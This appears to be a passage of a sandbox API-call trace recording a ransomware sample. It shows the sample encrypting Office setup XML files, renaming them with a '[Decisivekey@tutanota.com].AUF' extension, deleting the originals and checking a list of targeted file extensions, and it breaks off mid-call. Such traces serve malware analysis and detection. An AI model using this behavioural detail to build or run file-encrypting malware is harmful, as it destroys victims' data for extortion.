SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.770] SetEndOfFile (hFile=0x1ec) returned 1 [0210.771] CloseHandle (hObject=0x1ec) returned 1 [0210.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0210.771] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 1 [0210.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0210.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0210.772] lstrlenW (lpString=".doc") returned 4 [0210.772] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0210.772] lstrlenW (lpString=".docx") returned 5 [0210.772] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0210.772] lstrlenW (lpString=".pdf") returned 4 [0210.772] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0210.772] lstrlenW (lpString=".xls") returned 4 [0210.772] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0210.772] lstrlenW (lpString=".xlsx") returned 5 [0210.772] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0210.772] lstrlenW (lpString=".ppt") returned 4 [0210.772] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0210.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0210.772] lstrlenW (lpString=".zip") returned 4 [0210.772] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0210.772] lstrlenW (lpString=".rar") returned 4 [0210.772] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0210.772] lstrlenW (lpString=".bz2") returned 4 [0210.772] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0210.772] lstrlenW (lpString=".7z") returned 3 [0210.772] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0210.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0210.772] lstrlenW (lpString=".dbf") returned 4 [0210.772] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0210.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0210.772] lstrlenW (lpString=".1cd") returned 4 [0210.772] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0210.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0210.772] lstrlenW (lpString=".jpg") returned 4 [0210.772] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0210.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0210.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0210.772] lstrlenW (lpString=".doc") returned 4 [0210.772] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0210.772] lstrlenW (lpString=".docx") returned 5 [0210.772] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0210.772] lstrlenW (lpString=".pdf") returned 4 [0210.772] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0210.772] lstrlenW (lpString=".xls") returned 4 [0210.772] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0210.772] lstrlenW (lpString=".xlsx") returned 5 [0210.772] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0210.773] lstrlenW (lpString=".ppt") returned 4 [0210.773] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0210.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0210.773] lstrlenW (lpString=".zip") returned 4 [0210.773] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0210.773] lstrlenW (lpString=".rar") returned 4 [0210.773] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0210.773] lstrlenW (lpString=".bz2") returned 4 [0210.773] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0210.773] lstrlenW (lpString=".7z") returned 3 [0210.773] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0210.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0210.773] lstrlenW (lpString=".dbf") returned 4 [0210.773] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0210.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0210.773] lstrlenW (lpString=".1cd") returned 4 [0210.773] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0210.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0210.773] lstrlenW (lpString=".jpg") returned 4 [0210.773] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0210.773] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0210.773] lstrlenW (lpString="SETUP.XML") returned 9 [0210.773] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0211.213] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=2362) returned 1 [0211.213] CloseHandle (hObject=0x1e8) returned 1 [0211.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 0x20 [0211.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.213] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0211.213] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.213] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.213] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0211.213] GetLastError () returned 0x0 [0211.213] ReadFile (in: hFile=0x1e8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x93a, lpOverlapped=0x0) returned 1 [0211.350] WriteFile (in: hFile=0x194, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x940, lpOverlapped=0x0) returned 1 [0211.351] ReadFile (in: hFile=0x1e8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0211.351] WriteFile (in: hFile=0x194, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0211.351] SetEndOfFile (hFile=0x194) returned 1 [0211.351] CloseHandle (hObject=0x194) returned 1 [0211.351] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.351] SetEndOfFile (hFile=0x1e8) returned 1 [0211.352] CloseHandle (hObject=0x1e8) returned 1 [0211.352] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0211.352] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 1 [0211.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0211.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0211.352] lstrlenW (lpString=".doc") returned 4 [0211.352] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.352] lstrlenW (lpString=".docx") returned 5 [0211.353] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0211.353] lstrlenW (lpString=".pdf") returned 4 [0211.353] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.353] lstrlenW (lpString=".xls") returned 4 [0211.353] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.353] lstrlenW (lpString=".xlsx") returned 5 [0211.353] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0211.353] lstrlenW (lpString=".ppt") returned 4 [0211.353] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0211.353] lstrlenW (lpString=".zip") returned 4 [0211.353] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.353] lstrlenW (lpString=".rar") returned 4 [0211.353] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.353] lstrlenW (lpString=".bz2") returned 4 [0211.353] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.353] lstrlenW (lpString=".7z") returned 3 [0211.353] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0211.353] lstrlenW (lpString=".dbf") returned 4 [0211.353] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0211.353] lstrlenW (lpString=".1cd") returned 4 [0211.353] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0211.353] lstrlenW (lpString=".jpg") returned 4 [0211.353] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0211.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0211.353] lstrlenW (lpString=".doc") returned 4 [0211.353] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.353] lstrlenW (lpString=".docx") returned 5 [0211.353] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0211.353] lstrlenW (lpString=".pdf") returned 4 [0211.353] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.353] lstrlenW (lpString=".xls") returned 4 [0211.353] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.353] lstrlenW (lpString=".xlsx") returned 5 [0211.353] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0211.353] lstrlenW (lpString=".ppt") returned 4 [0211.353] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0211.353] lstrlenW (lpString=".zip") returned 4 [0211.353] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.353] lstrlenW (lpString=".rar") returned 4 [0211.353] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.353] lstrlenW (lpString=".bz2") returned 4 [0211.353] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.353] lstrlenW (lpString=".7z") returned 3 [0211.354] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0211.354] lstrlenW (lpString=".dbf") returned 4 [0211.354] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0211.354] lstrlenW (lpString=".1cd") returned 4 [0211.354] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0211.354] lstrlenW (lpString=".jpg") returned 4 [0211.354] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.396] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0211.396] lstrlenW (lpString="SETUP.XML") returned 9 [0211.397] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0211.429] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=1872) returned 1 [0211.429] CloseHandle (hObject=0x1e0) returned 1 [0211.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 0x20 [0211.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0211.429] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.429] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0211.429] GetLastError () returned 0x0 [0211.429] ReadFile (in: hFile=0x1e0, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x750, lpOverlapped=0x0) returned 1 [0211.495] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x760, lpOverlapped=0x0) returned 1 [0211.495] ReadFile (in: hFile=0x1e0, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0211.495] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0211.496] SetEndOfFile (hFile=0x184) returned 1 [0211.496] CloseHandle (hObject=0x184) returned 1 [0211.496] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.496] SetEndOfFile (hFile=0x1e0) returned 1 [0211.497] CloseHandle (hObject=0x1e0) returned 1 [0211.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0211.497] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 1 [0211.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0211.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0211.497] lstrlenW (lpString=".doc") returned 4 [0211.497] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.497] lstrlenW (lpString=".docx") returned 5 [0211.497] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0211.497] lstrlenW (lpString=".pdf") returned 4 [0211.497] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.497] lstrlenW (lpString=".xls") returned 4 [0211.497] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.497] lstrlenW (lpString=".xlsx") returned 5 [0211.497] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0211.497] lstrlenW (lpString=".ppt") returned 4 [0211.497] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0211.497] lstrlenW (lpString=".zip") returned 4 [0211.497] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.497] lstrlenW (lpString=".rar") returned 4 [0211.497] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.497] lstrlenW (lpString=".bz2") returned 4 [0211.497] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.497] lstrlenW (lpString=".7z") returned 3 [0211.497] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0211.497] lstrlenW (lpString=".dbf") returned 4 [0211.497] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0211.498] lstrlenW (lpString=".1cd") returned 4 [0211.498] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0211.498] lstrlenW (lpString=".jpg") returned 4 [0211.498] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0211.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0211.498] lstrlenW (lpString=".doc") returned 4 [0211.498] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.498] lstrlenW (lpString=".docx") returned 5 [0211.498] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0211.498] lstrlenW (lpString=".pdf") returned 4 [0211.498] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.498] lstrlenW (lpString=".xls") returned 4 [0211.498] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.498] lstrlenW (lpString=".xlsx") returned 5 [0211.498] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0211.498] lstrlenW (lpString=".ppt") returned 4 [0211.498] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0211.498] lstrlenW (lpString=".zip") returned 4 [0211.498] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.498] lstrlenW (lpString=".rar") returned 4 [0211.498] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.498] lstrlenW (lpString=".bz2") returned 4 [0211.498] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.498] lstrlenW (lpString=".7z") returned 3 [0211.498] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0211.498] lstrlenW (lpString=".dbf") returned 4 [0211.498] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0211.498] lstrlenW (lpString=".1cd") returned 4 [0211.498] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0211.498] lstrlenW (lpString=".jpg") returned 4 [0211.498] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.498] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0211.498] lstrlenW (lpString="PublisherMUI.XML") returned 16 [0211.498] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0211.499] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=1450) returned 1 [0211.499] CloseHandle (hObject=0x1e0) returned 1 [0211.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 0x20 [0211.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0211.499] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.499] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 